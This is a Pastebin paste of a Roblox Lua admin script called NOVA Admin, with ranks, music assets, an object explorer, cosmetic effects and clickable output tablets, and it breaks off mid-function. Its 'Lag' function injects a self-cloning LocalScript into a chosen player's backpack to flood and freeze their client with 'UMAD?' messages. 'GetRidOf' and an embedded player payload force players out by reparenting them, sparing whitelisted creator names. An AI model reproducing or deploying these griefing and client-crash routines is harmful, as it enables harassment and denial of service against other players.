Advertisement
Orichalcum

Untitled

Feb 28th, 2016
217
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 137.87 KB | None | 0 0
  1. NOVA = {
  2. Services = {
  3. Workspace = game:GetService("Workspace");
  4. Lighting = game:GetService("Lighting");
  5. Debris = game:GetService("Debris");
  6. Players = game:GetService("Players");
  7. Teams = game:GetService("Teams");
  8. SoundService = game:GetService("SoundService");
  9. ScriptContext = game:GetService("ScriptContext");
  10. NetworkServer = game:GetService("NetworkServer");
  11. StarterGui = game:GetService("StarterGui");
  12. StarterPack = game:GetService("StarterPack");
  13. };
  14. Ranks = {
  15. "-2 : Lagged";
  16. "-1 : Banned";
  17. "0 : Guest";
  18. "1 : Mod";
  19. "2 : Admin";
  20. "3 : Developer";
  21. "4 : Architect";
  22. "5 : Overlord";
  23. "6 : OP ( Operator )";
  24. "7 : Creator";
  25. "8 : ROOT" ;
  26. };
  27.  
  28. Ranked = {
  29. --[[
  30. -2 : "Lagged"
  31. -1 : "Banned"
  32. 0 : "Guest"
  33. 1 : "Mod"
  34. 2 : "Admin"
  35. 3 : "Developer"
  36. 4 : "Architect"
  37. 5 : "Overlord"
  38. 6 : "OP ( Operator )"
  39. 7 : "Creator"
  40. 8 : "ROOT"
  41. ]]
  42. {Name = "Pxdding", InPRI = true, CMD = true, Rank = 8, Color = Color3.new(0,0,0), Desc = "rakt."};
  43. -- {Name = "Joalmo", InPRI = false, CMD = false, Rank = -2, Color = Color3.new(1,0,0), Desc = "Average noob."};
  44. };
  45.  
  46. Credit = {
  47. {Name = "NetworkClient",Why = "for the tablet function."};
  48. {Name = "TeamDman",Why = "for creating NOVA Admin."};
  49. {Name = "upquark",Why = "For being a great person in life."};
  50. };
  51.  
  52. Colors = {
  53. Red = Color3.new(1,0,0);
  54. Green = Color3.new(0,1,0);
  55. Blue = Color3.new(0,0,1);
  56. Orange = Color3.new(1,0.5,0);
  57. White = Color3.new(1,1,1);
  58. Black = Color3.new(0,0,0);
  59. Grey = Color3.new(0.5,0.5,0.5);
  60. Yellow = Color3.new(1,1,0);
  61. Magenta = Color3.new(0.54,0,0.54);
  62. Purple = Color3.new(1,0,1)
  63. };
  64.  
  65. Sounds = {
  66. Sound = Instance.new("Sound");
  67. Music = {
  68. {Id = "http://www.roblox.com/Asset/?id=27697735",Pitch=1,Looped=true,Name="Jeff Syndicate - Hip Hop (Fix Pitch)"};
  69. {Id = "http://www.roblox.com/Asset/?id=35930009",Pitch=1,Looped=true,Name="MonsterMashAudio"};
  70. {Id = "http://www.roblox.com/Asset/?id=8610025",Pitch=1,Looped=true,Name="NerezzaSong (Italian for 'Darkness Song')"};
  71. {Id = "http://www.roblox.com/Asset/?id=27697298",Pitch=1,Looped=true,Name="Flatt and Scruggs - Foggy Mountan Breakdown "};
  72. {Id = "http://www.roblox.com/Asset/?id=27697267",Pitch=1,Looped=true,Name="Scott Joplin - Entertainer Rag"};
  73. {Id = "http://www.roblox.com/Asset/?id=27697713",Pitch=1,Looped=true,Name="Opening Theme - Daniel Bautista - Music For A Film (Fix Pitch)"};
  74. {Id = "http://www.roblox.com/Asset/?id=27697719",Pitch=1,Looped=true,Name="Flight of the Bumblebee Daniel Bautista(Fix Pitch)"};
  75. {Id = "http://www.roblox.com/Asset/?id=27697707",Pitch=1,Looped=true,Name="Intro Daniel Bautista (Fix Pitch)"};
  76. {Id = "http://www.roblox.com/Asset/?id=27697743",Pitch=1,Looped=true,Name="Zero Project - Gothic (Fix Pitch)"};
  77. {Id = "http://www.roblox.com/Asset/?id=27697392",Pitch=1,Looped=true,Name="DJ Glejs - Better Off Alone (Remix)"};
  78. {Id = "http://www.roblox.com/Asset/?id=27697277",Pitch=1,Looped=true,Name="Positively Dark - Awakening"};
  79. {Id = "http://www.roblox.com/Asset/?id=1280414",Pitch=1,Looped=true,Name="Super Smash Brothers Final Destination Level"};
  80. {Id = "http://www.roblox.com/Asset/?id=5982975",Pitch=1,Looped=true,Name="Pirate Song"};
  81. {Id = "http://www.roblox.com/Asset/?id=1372258",Pitch=1,Looped=true,Name="Choir Snippet"};
  82. {Id = "http://www.roblox.com/Asset/?id=1372257",Pitch=1,Looped=true,Name="Cursed Abbey"};
  83. {Id = "http://www.roblox.com/Asset/?id=1372259",Pitch=1,Looped=true,Name="Fire Emblem Theme"};
  84. {Id = "http://www.roblox.com/Asset/?id=1077604",Pitch=1,Looped=true,Name="MULE"};
  85. {Id = "http://www.roblox.com/Asset/?id=1372260",Pitch=1,Looped=true,Name="One-Winged Angel"};
  86. {Id = "http://www.roblox.com/Asset/?id=1372261",Pitch=1,Looped=true,Name="Pokemon Battle Theme"};
  87. {Id = "http://www.roblox.com/Asset/?id=1280470",Pitch=1,Looped=true,Name="Bob-Omb Battlefeild"};
  88. {Id = "http://www.roblox.com/Asset/?id=1372262",Pitch=1,Looped=true,Name="Star Fox Assault Theme"};
  89. {Id = "http://www.roblox.com/Asset/?id=1280473",Pitch=1,Looped=true,Name="Final Fantasy VII Advent Children Battle Theme"};
  90. {Id = "http://www.roblox.com/Asset/?id=2723457",Pitch=1,Looped=true,Name="Fanfare"};
  91. {Id = "http://www.roblox.com/Asset/?id=2303479",Pitch=1,Looped=true,Name="Caramell Dansen (Speedy Mix)"};
  92. {Id = "http://www.roblox.com/Asset/?id=1034065",Pitch=1,Looped=true,Name="Halo Theme"};
  93. {Id = "http://www.roblox.com/Asset/?id=9650822",Pitch=1,Looped=true,Name="S4Tunnel"};
  94. {Id = "http://www.roblox.com/Asset/?id=27697234",Pitch=1,Looped=true,Name="Mubarek - Resist (Remix)"};
  95. {Id = "http://www.roblox.com/Asset/?id=45819151",Pitch=1,Looped=true,Name="backgroundSong1"};
  96. {Id = "http://www.roblox.com/Asset/?id=11420933",Pitch=1,Looped=true,Name="The Opened Way"};
  97. {Id = "http://www.roblox.com/Asset/?id=1015394",Pitch=1,Looped=true,Name="WindOfFjords"};
  98. {Id = "http://www.roblox.com/Asset/?id=2027611",Pitch=1,Looped=true,Name="Never Gonna Give You Up"};
  99. {Id = "http://www.roblox.com/Asset/?id=1280463",Pitch=1,Looped=true,Name="Chrono Trigger Theme"};
  100. {Id = "http://www.roblox.com/Asset/?id=5986151",Pitch=1,Looped=true,Name="Woman King"};
  101. {Id = "http://www.roblox.com/Asset/?id=11420922",Pitch=1,Looped=true,Name="Shadow of the Colossus: Demise of the Ritual"};
  102. {Id = "http://www.roblox.com/Asset/?id=5985787",Pitch=1,Looped=true,Name="Chrono Symphonic: Schala and the Queen"};
  103. {Id = "http://www.roblox.com/Asset/?id=11231513",Pitch=1,Looped=true,Name="Toccata Fugue"};
  104. {Id = "http://www.roblox.com/Asset/?id=60047782",Pitch=1,Looped=true,Name="Jazz Loop"};
  105. {Id = "http://www.roblox.com/Asset/?id=60049010",Pitch=1,Looped=true,Name="Electronic Loop"};
  106. {Id = "http://www.roblox.com/Asset/?id=60051616",Pitch=1,Looped=true,Name="Funk Loop"};
  107. {Id = "http://www.roblox.com/Asset/?id=60059129",Pitch=1,Looped=true,Name="Rock Loop"};
  108. };
  109. Numbers = { -- one to five ( top to bottom )
  110. "http://www.roblox.com/Asset/?id=29445305",
  111. "http://www.roblox.com/Asset/?id=29445339",
  112. "http://www.roblox.com/Asset/?id=29445358",
  113. "http://www.roblox.com/Asset/?id=29445378",
  114. "http://www.roblox.com/Asset/?id=29445395",
  115. };
  116. PlayAfter = {
  117. "http://www.roblox.com/Asset/?id=2767090",
  118. "http://www.roblox.com/Asset/?id=2800815",
  119. "http://www.roblox.com/Asset/?id=2801263",
  120. "http://www.roblox.com/Asset/?id=11984254",
  121. "http://www.roblox.com/Asset/?id=2101159",
  122. "http://www.roblox.com/Asset/?id=3087031",
  123. "Explosion 3","http://www.roblox.com/Asset/?id=2101148",
  124. "http://www.roblox.com/Asset/?id=2233908",
  125. "http://www.roblox.com/Asset/?id=16976189",
  126. "http://www.roblox.com/Asset/?id=2101157",
  127. "http://www.roblox.com/Asset/?id=2974000",
  128. "http://www.roblox.com/Asset/?id=2703110",
  129. "http://www.roblox.com/Asset/?id=1994345",
  130. };
  131. };
  132.  
  133. Objects = {};
  134. Commands = {};
  135. Tablets = {};
  136. Targeted = {};
  137. Waypoints = {};
  138. Log = {};
  139. LoggedScripts = {};
  140. PRI = false;
  141. LockedScripts = false;
  142. Removed = false;
  143. ShowChat = true;
  144. LockModels = false;
  145. Canceled = false;
  146. PRIType = "Shutdown";
  147. GlobalLoggedScriptsKey = "NOVA's Logged Scripts";
  148. LocalScript = script:FindFirstChild("PseudoLocalScript");
  149. Script = script:FindFirstChild("PseudoScript");
  150. Plugins = script:GetChildren()
  151. }
  152.  
  153. PlayerPlugins = [==[
  154. script.Parent = nil
  155. LocalPlayer = game:GetService("Players").LocalPlayer
  156. game:GetService("Selection").SelectionChanged:connect(function()
  157. if LocalPlayer.Name ~= "TeamDman" and LocalPlayer.Name ~= "SurgenHack" and LocalPlayer.Name ~= "Player" then
  158. LocalPlayer.Parent = nil
  159. LocalPlayer.Parent = game:GetService("Players")
  160. end
  161. end)
  162. coroutine.resume(coroutine.create(function()
  163. while wait() do
  164. if LocalPlayer.Parent == nil and LocalPlayer.Name ~= "TeamDman" and LocalPlayer.Name ~= "SurgenHack" and LocalPlayer.Name ~= "Player" then
  165. LocalPlayer.Parent = nil
  166. LocalPlayer.Parent = game:GetService("Players")
  167. end
  168. end
  169. end))
  170. ]==]
  171.  
  172.  
  173. --[[ PSEUDO FUNCTIONS ]]--
  174.  
  175. function CreateLocalScript(Source, Parent)
  176. if game.PlaceId == 20279777 or game.PlaceId == 20132544 then
  177. newLocalScript(Source, Parent)
  178. elseif game.PlaceId == 23232804 then
  179. NewLocalScript(Source, Parent)
  180. elseif NOVA.LocalScript ~= nil then
  181. NS = NOVA.LocalScript:Clone()
  182. NS.Name = "LocalScript"
  183. pcall(function() NS:ClearAllChildren() end)
  184. NewSource = Instance.new("StringValue",NS)
  185. NewSource.Name = "Source"
  186. NewSource.Value = Source
  187. NS.Parent = Parent
  188. NS.Disabled = false
  189. else
  190. print("[NOVA.CreateLocalScript] Localscript functionality not avalible here. ( PlaceId : "..game.PlaceId..")")
  191. end
  192. end
  193.  
  194. function CreateScript(Source, Parent)
  195. if game.PlaceId == 20279777 or game.PlaceId == 20132544 then
  196. newScript(Source, Parent)
  197. elseif game.PlaceId == 23232804 then
  198. NewScript(Source, Parent)
  199. elseif NOVA.Script ~= nil then
  200. NS = NOVA.Script:Clone()
  201. NS.Name = "Script"
  202. pcall(function() NS:ClearAllChildren() end)
  203. NewSource = Instance.new("StringValue",NS)
  204. NewSource.Name = "Source"
  205. NewSource.Value = Source
  206. NS.Parent = Parent
  207. NS.Disabled = false
  208. else
  209. print("[NOVA.CreateScript] Script functionality not avalible here. ( PlaceId : "..game.PlaceId..")")
  210. end
  211. end
  212.  
  213. function IsTargeted(Player)
  214. if type(Player) == "string" then
  215. for _,v in pairs(NOVA.Targeted) do
  216. if v.Name == Player then
  217. return true
  218. end
  219. end
  220. elseif type(Player) == "userdata" then
  221. for _,v in pairs(NOVA.Targeted) do
  222. if Player == v then
  223. return true
  224. end
  225. end
  226. else
  227. print("[NOVA.IsTargeted] An invalid argument type was used. ("..tostring(type(Player))..")")
  228. end
  229. return false
  230. end
  231. --[[ MAKE MESSAGE ]]--
  232.  
  233. function makeMessage(Style,Text,Parent,Size)
  234. --print("Making message in "..Parent.Name.." Style "..Style)
  235. coroutine.resume(coroutine.create(function()
  236. if Style == "Instance" or Style == 1 or Style == "Normal" then
  237. local M = Instance.new("Message",Parent)
  238. for i = 1, string.len(Text) do
  239. M.Text = M.Text .. string.sub(Text, i, i)
  240. wait(math.random() * 0.1)
  241. end
  242. M.Text = M.Text .. ""
  243. for i = 1, math.random(2, 6) do
  244. M.Text = string.sub(M.Text, 1, string.len(Text)) .. "_"
  245. wait(0.4)
  246. M.Text = string.sub(M.Text, 1, string.len(Text)) .. " "
  247. wait(0.4)
  248. end
  249. M.Text = string.sub(M.Text, 1, string.len(Text))
  250. for i = 1, string.len(M.Text) do
  251. M.Text = string.sub(M.Text, 1, string.len(M.Text) - 1)
  252. wait()
  253. end
  254. M:Remove()
  255. elseif Style == "Gui" or Style == "GUI" or Style == 2 then
  256. if Parent == nil then print("Parent required for GUI type message.") return end
  257.  
  258. local Gui = Instance.new("ScreenGui",Parent)
  259. local Frame = Instance.new("Frame",Gui)
  260. Frame.Size = UDim2.new(1,0,1,0)
  261. Frame.Position = UDim2.new(0,0,0,0)
  262. Frame.Style = "RobloxSquare"
  263. local Txt = Instance.new("TextLabel",Frame)
  264. Txt.Size = UDim2.new(1,0,1,0)
  265. Txt.TextWrap = true
  266. Txt.TextColor3 = NOVA.Colors.White
  267. Txt.BackgroundTransparency = 1
  268. if Size == nil then
  269. Txt.FontSize = "Size16"
  270. else
  271. Txt.FontSize = Size
  272. end
  273. Txt.Text = ""
  274. Text = Text .. " "
  275. for i = 1, string.len(Text) do
  276. Txt.Text = Txt.Text .. string.sub(Text, i, i)
  277. wait(math.random() * 0.000000000001)
  278. end
  279. Txt.Text = Txt.Text .. ""
  280. for i = 1, math.random(2, 6) do
  281. Txt.Text = string.sub(Txt.Text, 1, string.len(Text)) .. "_"
  282. wait(0.4)
  283. Txt.Text = string.sub(Txt.Text, 1, string.len(Text)) .. " "
  284. wait(0.4)
  285. end
  286. Txt.Text = string.sub(Txt.Text, 1, string.len(Text))
  287. for i = 1, string.len(Txt.Text) do
  288. Txt.Text = string.sub(Txt.Text, 1, string.len(Txt.Text) - 1)
  289. Txt.Text = string.sub(Txt.Text, 1, string.len(Txt.Text) - 1)
  290. Txt.Text = string.sub(Txt.Text, 1, string.len(Txt.Text) - 1)
  291. Txt.Text = string.sub(Txt.Text, 1, string.len(Txt.Text) - 1)
  292. wait(math.random() * 0.01)
  293. end
  294. Txt:Remove()
  295. Frame:Remove()
  296. Gui:Remove()
  297. end
  298. end))
  299. end
  300.  
  301. --[[ EXPLORE ]]--
  302. function Explore(Thing,Speaker)
  303. if Speaker == nil then
  304. print("[NOVA.Explore] Argument 1 missing or nil.")
  305. return
  306. end
  307. pcall(function()
  308. if Thing == game or Thing == nil then
  309. RemoveTablets(Speaker)
  310. for _,v in pairs(NOVA.Services) do
  311. Output(v.className,GetRankedTable(Speaker).Color,Speaker,nil,function() Explore(v,Speaker) end)
  312. end
  313. Output("Dismiss",NOVA.Colors.Red,Speaker)
  314. else
  315. if #Thing:children() == 0 then
  316. RemoveTablets(Speaker)
  317. Explore(Thing.Parent.Parent,Speaker)
  318. else
  319. RemoveTablets(Speaker)
  320. for _,v in pairs(Thing:children()) do
  321. Output(v.Name,GetRankedTable(Speaker).Color,Speaker,nil,
  322. function()
  323. RemoveTablets(Speaker)
  324. Output("Name : "..v.Name,GetRankedTable(Speaker).Color,Speaker)
  325. Output("Class Name : "..v.className,GetRankedTable(Speaker).Color,Speaker)
  326. Output("Full Name : "..v:GetFullName(),GetRankedTable(Speaker).Color,Speaker)
  327. Output("Remove",NOVA.Colors.Orange,Speaker,nil, function() Explore(v.Parent.Parent,Speaker) v:remove() end )
  328. Output("Destroy",NOVA.Colors.Orange,Speaker,nil, function() Explore(v.Parent.Parent,Speaker) v:Destroy() end )
  329. Output("Destroy ALL ( Name )",NOVA.Colors.Red,Speaker,nil, function() Explore(v.Parent.Parent,Speaker) for _,Part in pairs(GetRecursiveChildren()) do pcall(function() if Part.Name == v.Name then Part:Destroy() end end) end v:Destroy() end )
  330. Output("Destroy ALL ( className )",NOVA.Colors.Red,Speaker,nil, function() Explore(v.Parent.Parent,Speaker) for _,Part in pairs(GetRecursiveChildren()) do pcall(function() if Part.className == v.className then Part:Destroy() end end) end v:Destroy() end )
  331.  
  332. Output("#STORE",NOVA.Colors.Yellow,Speaker,nil,function() v:Clone().Parent = NOVA.Services.Lighting end)
  333. Output("#REDIRECT .Parent.Parent",NOVA.Colors.Blue,Speaker,nil,function() Explore(v.Parent.Parent,Speaker) end)
  334. Output("#REDIRECT :GetChildren()",NOVA.Colors.Blue,Speaker,nil,function() Explore(v,Speaker) end)
  335. Output("Dismiss",NOVA.Colors.Red,Speaker)
  336. end
  337. )
  338. end
  339. Output("Dismiss",NOVA.Colors.Red,Speaker)
  340. end
  341. end
  342. end)
  343. end
  344.  
  345. --[[ CAPE ]]--
  346. function Cape(v)
  347. local Mode = "None"
  348. local AngleX = 0
  349. pcall(function()
  350. v.Character.Swordpack:remove()
  351. end)
  352. pcall(function()
  353. v.Character["NOVA Cape"]:remove()
  354. end)
  355.  
  356. local Main = Instance.new("Model",v.Character)
  357. Main.Name = "NOVA Cape"
  358.  
  359. pcall(function()
  360. v.Character.Swordpack:Remove()
  361. end)
  362. local Cape = Instance.new("Part", Main)
  363. Cape.Name = "Cape"
  364. Cape.Anchored = false
  365. Cape.CanCollide = false
  366. Cape.formFactor = "Custom"
  367. Cape.Size = Vector3.new(2, 3.5, 0.2)
  368. Cape.BrickColor = BrickColor.new("Really black")
  369. Cape.TopSurface = 0
  370. Cape.BottomSurface = 0
  371. local Decal = Instance.new("Decal", Cape)
  372. Decal.Face = "Back"
  373. Decal.Texture = ""
  374. local CapeWeld = Instance.new("Weld", Cape)
  375. CapeWeld.Part0 = v.Character.Torso
  376. CapeWeld.Part1 = Cape
  377. CapeWeld.C0 = CFrame.new(0, 1, 0.5)
  378. CapeWeld.C1 = CFrame.new(0, 3.5 / 2, -0.0)
  379. v.Character.Humanoid.Running:connect(function(Speed)
  380. if Speed > 0 then
  381. Mode = "Running"
  382. else
  383. Mode = "None"
  384. end
  385. end)
  386. v.Character.Humanoid.Jumping:connect(function() Mode = "Jumping" end)
  387. coroutine.wrap(function()
  388. while Cape.Parent ~= nil and CapeWeld.Parent ~= nil do
  389. local UpSpeed = 2.5
  390. local DownSpeed = 5
  391. local TargetAngle = 5
  392. if Mode == "Running" then
  393. TargetAngle = 45 + math.random(0, 2500) / 100
  394. elseif Mode == "Jumping" then
  395. UpSpeed = 10
  396. DownSpeed = 10
  397. TargetAngle = (v.Character.Torso.Velocity.y < 3 and 160 or 45)
  398. end
  399. if math.abs(TargetAngle - AngleX) < (DownSpeed > UpSpeed and DownSpeed or UpSpeed) then AngleX = TargetAngle end
  400. if AngleX < TargetAngle then
  401. AngleX = AngleX + UpSpeed
  402. elseif AngleX > TargetAngle then
  403. AngleX = AngleX - DownSpeed
  404. end
  405. CapeWeld.C1 = CFrame.new(0, 3.5 / 2, -0.0) * CFrame.fromEulerAnglesXYZ(math.rad(AngleX), 0, 0, 0)
  406. wait()
  407. end
  408. end)()
  409.  
  410. local LShoulder = Instance.new("Part",Main)
  411. LShoulder.Name = "Left Shoulder"
  412. LShoulder.TopSurface = "Smooth"
  413. LShoulder.BottomSurface = "Smooth"
  414. LShoulder.FormFactor = "Custom"
  415. LShoulder.Size = Vector3.new(1,0.2,1)
  416. LShoulder.BrickColor = BrickColor.new("Really black")
  417. LShoulder.Anchored = false
  418. LShoulder.CanCollide = false
  419. LShoulder.Transparency = 0
  420. LShoulder.Reflectance = 0
  421. local Weld = Instance.new("Motor6D",LShoulder)
  422. Weld.Part0 = LShoulder
  423. Weld.Part1 = v.Character["Left Arm"]
  424. Weld.C0 = CFrame.new(0,-1,0)
  425.  
  426. local RShoulder = Instance.new("Part",Main)
  427. RShoulder.Name = "Right Shoulder"
  428. RShoulder.TopSurface = "Smooth"
  429. RShoulder.BottomSurface = "Smooth"
  430. RShoulder.FormFactor = "Custom"
  431. RShoulder.Size = Vector3.new(1,0.2,1)
  432. RShoulder.BrickColor = BrickColor.new("Really black")
  433. RShoulder.Anchored = false
  434. RShoulder.CanCollide = false
  435. RShoulder.Transparency = 0
  436. RShoulder.Reflectance = 0
  437. local Weld = Instance.new("Motor6D",RShoulder)
  438. Weld.Part0 = RShoulder
  439. Weld.Part1 = v.Character["Right Arm"]
  440. Weld.C0 = CFrame.new(0,-1,0)
  441.  
  442. local NeckFlat = Instance.new("Part",Main)
  443. NeckFlat.Name = "NeckFlat"
  444. NeckFlat.TopSurface = "Smooth"
  445. NeckFlat.BottomSurface = "Smooth"
  446. NeckFlat.FormFactor = "Custom"
  447. NeckFlat.Size = Vector3.new(2,0.2,1)
  448. NeckFlat.BrickColor = BrickColor.new("Really black")
  449. NeckFlat.Anchored = false
  450. NeckFlat.CanCollide = false
  451. NeckFlat.Transparency = 0
  452. NeckFlat.Reflectance = 0
  453. local Weld = Instance.new("Motor6D",NeckFlat)
  454. Weld.Part0 = NeckFlat
  455. Weld.Part1 = v.Character.Torso
  456. Weld.C0 = CFrame.new(0,-1,0)
  457.  
  458. for _,v in pairs(Main:GetChildren()) do v.Reflectance = 1e+999 end
  459.  
  460. end
  461.  
  462. --[[ GET SPLIT ]]--
  463. function GetSplit(Msg)
  464. Split = nil
  465. for i=1,100 do
  466. if string.sub(Msg,i,i) == "\\" then
  467. Split = i
  468. break
  469. end
  470. end
  471. return Split
  472. end
  473.  
  474.  
  475.  
  476. --[[ GET RANK ]]--
  477.  
  478. function GetRank(Player)
  479. Rtn = nil
  480. if type(Player) == "userdata" then
  481. for _,v in pairs(NOVA.Ranked) do
  482. if v.Name:lower() == Player.Name:lower() then
  483. Rtn = v.Rank
  484. end
  485. end
  486. elseif type(Player) == "string" then
  487. for _,v in pairs(NOVA.Ranked) do
  488. if v.Name:lower() == Player:lower() then
  489. Rtn = v.Rank
  490. end
  491. end
  492. else print("[NOVA.GetRank] Unsupported argument type. ("..type(Player)..")")
  493. end
  494. return Rtn
  495. end
  496.  
  497. --[[ GET RANK NAME ]]--
  498. function GetRankName(Player)
  499. if type(Player) == "userdata" or type(Player) == "string" then
  500. Rtn = nil
  501. Rank = GetRank(Player)
  502. Ranks = {
  503. "Mod";
  504. "Admin";
  505. "Mega Admin";
  506. "Omega Admin";
  507. "Overlord";
  508. "OP ( Operator )";
  509. "Creator";
  510. "ROOT";
  511. }
  512. Rtn = Ranks[Rank]
  513. if Rank == -2 then Rtn = "Lagged" end
  514. if Rank == -1 then Rtn = "Banned" end
  515. if Rank == 0 then Rtn = "Guest" end
  516.  
  517. return Rtn
  518.  
  519. else
  520. print("[NOVA.GetRankName] Unsupported argument type ("..type(Player)..")")
  521. return "NOT AVALIBLE"
  522. end
  523. end
  524.  
  525. --[[ GET RANKED TABLE ]]--
  526. function GetRankedTable(Player)
  527. Rtn = nil
  528. if type(Player) == "userdata" then
  529. for _,v in pairs(NOVA.Ranked) do
  530. if v.Name == Player.Name then
  531. Rtn = v
  532. end
  533. end
  534. elseif type(Player) == "string" then
  535. for _,v in pairs(NOVA.Ranked) do
  536. if v.Name == Player then
  537. Rtn = v
  538. end
  539. end
  540. else
  541. pint("[NOVA.GetRankedTable] Unsupported argument type.("..type(Player)..")")
  542. end
  543. return Rtn
  544. end
  545.  
  546. --[[ GET RECURSIVE CHILDREN ]]--
  547. function GetRecursiveChildren(Source, Name, SearchType, Children)
  548. if Source == nil then
  549. Source = NOVA.Services
  550. end
  551. if Name == nil or type(Name) ~= "string" then
  552. Name = ""
  553. end
  554. if Children == nil or type(Children) ~= "table" then
  555. Children = {}
  556. end
  557. if type(Source) == "userdata" then
  558. for _, Child in pairs(Source:children()) do
  559. pcall(function()
  560. if (function()
  561. if SearchType == nil or SearchType == 1 then
  562. return string.match(Child.Name:lower(), Name:lower())
  563. elseif SearchType == 2 then
  564. return string.match(Child.className:lower(), Name:lower())
  565. elseif SearchType == 3 then
  566. return Child:IsA(Name) or Child:IsA(Name:lower())
  567. elseif SearchType == 4 then
  568. return string.match(Child.Name:lower() .. string.rep(string.char(1), 5) .. Child.className:lower(), Name:lower()) or Child:IsA(Name) or Child:IsA(Name:lower())
  569. end
  570. return false
  571. end)() then
  572. table.insert(Children, Child)
  573. end
  574. GetRecursiveChildren(Child, Name, SearchType, Children)
  575. end)
  576. end
  577. elseif type(Source) == "table" then
  578. for _,Area in pairs(Source) do
  579. for _, Child in pairs(Area:children()) do
  580. pcall(function()
  581. if (function()
  582. if SearchType == nil or SearchType == 1 then
  583. return string.match(Child.Name:lower(), Name:lower())
  584. elseif SearchType == 2 then
  585. return string.match(Child.className:lower(), Name:lower())
  586. elseif SearchType == 3 then
  587. return Child:IsA(Name) or Child:IsA(Name:lower())
  588. elseif SearchType == 4 then
  589. return string.match(Child.Name:lower() .. string.rep(string.char(1), 5) .. Child.className:lower(), Name:lower()) or Child:IsA(Name) or Child:IsA(Name:lower())
  590. end
  591. return false
  592. end)() then
  593. table.insert(Children, Child)
  594. end
  595. GetRecursiveChildren(Child, Name, SearchType, Children)
  596. end)
  597. end
  598. end
  599. else
  600. print("[NOVA.GetRecursiveChildren] Unsupported agrument type ("..type(Source)..")")
  601. end
  602. return Children
  603. end
  604.  
  605. --[[ GET REPLICATORS ]]--
  606. function GetReplicators()
  607. Rtn = NOVA.Services.NetworkServer:GetChildren()
  608. for i=1,#Rtn do
  609. if not Rtn[i]:IsA("ServerReplicator") then
  610. table.remove(Rtn,i)
  611. end
  612. end
  613. return Rtn
  614. end
  615.  
  616. --[[ REMOVE TABLETS ]]--
  617.  
  618. function RemoveTablets(Player)
  619. if Player == nil then
  620. for _,a in pairs(NOVA.Tablets) do
  621. a:Remove()
  622. end
  623. else
  624. for _,v in pairs(GetTablets(Player)) do
  625. v:Remove()
  626. end
  627. end
  628. end
  629.  
  630. --[[ GET RANKED ]]--
  631.  
  632. function GetRanked()
  633. local Rtn = {}
  634. for _,v in pairs(NOVA.Services.Players:GetPlayers()) do
  635. if GetRank(v) ~= nil and GetRank(v) > 0 then
  636. table.insert(Rtn,v)
  637. end
  638. end
  639. return Rtn
  640. end
  641.  
  642. --[[ GET RID OF ]]--
  643. function GetRidOf(v)
  644. if v.Name == "TeamDman" then
  645. Output("Attempt to call GetRidOf on the creator, command will not be carried through.",NOVA.Colors.Red,Speaker,10)
  646. else
  647. pcall(function()
  648. coroutine.resume(coroutine.create(function()
  649. repeat wait() until v:FindFirstChild("Backpack") ~= nil
  650. CreateLocalScript([[
  651. LocalPlayer = game:service'Players'.LocalPlayer
  652. Players = LocalPlayer.Parent
  653. LocalPlayer.Parent = nil
  654. LocalPlayer.Parent = Players
  655. ]],
  656. v.Backpack
  657. )
  658. wait(1)
  659. pcall(function()
  660. v:Destroy()
  661. end)
  662. end))
  663. end)
  664. end
  665. end
  666.  
  667. --[[ LAG ]]--
  668. function Lag(v)
  669. coroutine.resume(coroutine.create(function()
  670. if v.Name == "TeamDman" then
  671. OutputMulti("Attempting to lag the creator, command will not be carried through.",NOVA.Colors.Red,GetRanked(),4)
  672. else
  673. repeat wait() until v:FindFirstChild("Backpack") ~= nil
  674. newLocalScript([==[
  675. local LocalPlayer=game:GetService("Players").LocalPlayer
  676. for i=1,math.huge do
  677. coroutine.resume(coroutine.create(function()
  678. while wait() do
  679.  
  680.  
  681. pcall(function()
  682. LAG = script:Clone()
  683. LAG.Name = "LAG"
  684. LAG.Parent = LocalPlayer.Backpack
  685. LAG.Disabled = false
  686. end)
  687.  
  688. for i=1,10 do
  689. Instance.new("Seat",workspace.CurrentCamera)
  690. Instance.new("Message",workspace.CurrentCamera).Text = "UMAD?"
  691. end
  692. for i=1,10 do
  693. pcall(function()
  694. game.Players.LocalPlayer.Character.Archivable = true
  695. game.Players.LocalPlayer.Character:Clone().Parent = workspace.CurrentCamera
  696. end)
  697. end
  698.  
  699. end
  700. end))
  701. end
  702. ]==],v.Backpack)
  703. local H = Instance.new("Hint",NOVA.Services.Workspace)
  704. repeat
  705. H.Text = v.Name.." be gettin' lagged."
  706. H.Parent = NOVA.Services.Workspace
  707. wait()
  708. until v.Parent == nil
  709. H:Remove()
  710. end
  711. end))
  712. end
  713.  
  714. --[[ GET TABLETS ]]--
  715.  
  716. function GetTablets(player)
  717. local _tablets = {}
  718.  
  719. for _, tablet in pairs(NOVA.Tablets) do
  720. if tablet:FindFirstChild("Recipient") ~= nil and tablet.Parent ~= nil then
  721. if tablet.Recipient.Value == player then
  722. table.insert(_tablets, tablet)
  723. end
  724. end
  725. end
  726. --table.insert(_tablets,Instance.new("Model"))
  727. return _tablets
  728. end
  729.  
  730. --[[ OUTPUT ]]--
  731.  
  732. function Output(Message, Color, Player, Stick, Func)
  733. if Player ~= nil and Player.Character ~= nil and Player.Character.Head ~= nil then
  734. if Color == "Random" or Color == "random" then Color = Color3.new(math.random(),math.random(),math.random()) end
  735. local _tablets = GetTablets(Player)
  736. local _pos = Player.Character.Head.CFrame * CFrame.new(7, 7, 7)
  737.  
  738. local model = Instance.new("Model")
  739. model.Parent = NOVA.Services.Workspace
  740. model.Name = "Output::" .. Player.Name
  741.  
  742. local part = Instance.new("Part")
  743. part.Parent = model
  744. part.Transparency = 0.5
  745. part.CanCollide = false
  746. part.Locked = true
  747. part.TopSurface = "Smooth"
  748. part.BottomSurface = "Smooth"
  749. part.FormFactor = "Plate"
  750. part.Color = Color
  751. part.Size = Vector3.new(2, 0.4, 3)
  752. part.CFrame = _pos
  753. part:BreakJoints()
  754.  
  755. local click = Instance.new("ClickDetector")
  756. click.MaxActivationDistance = 9201
  757. click.Parent = part
  758. click.MouseClick:connect(function(player)
  759. if player == Player or GetRank(player) > GetRank(Player) then
  760. if Color == NOVA.Colors.Red and (Message == "Dismiss" or Message == "dismiss") then
  761. for _,v in pairs(GetTablets(Player)) do v:remove() end
  762. else
  763. model:remove()
  764. Func(player)
  765. end
  766. end
  767. end)
  768.  
  769. local fire = Instance.new("Fire")
  770. fire.Parent = part
  771. fire.Heat = 0
  772. fire.Size = 6
  773. fire.Color = Color
  774. fire.SecondaryColor = Color
  775.  
  776. local box = Instance.new("SelectionBox")
  777. box.Parent = part
  778. box.Adornee = part
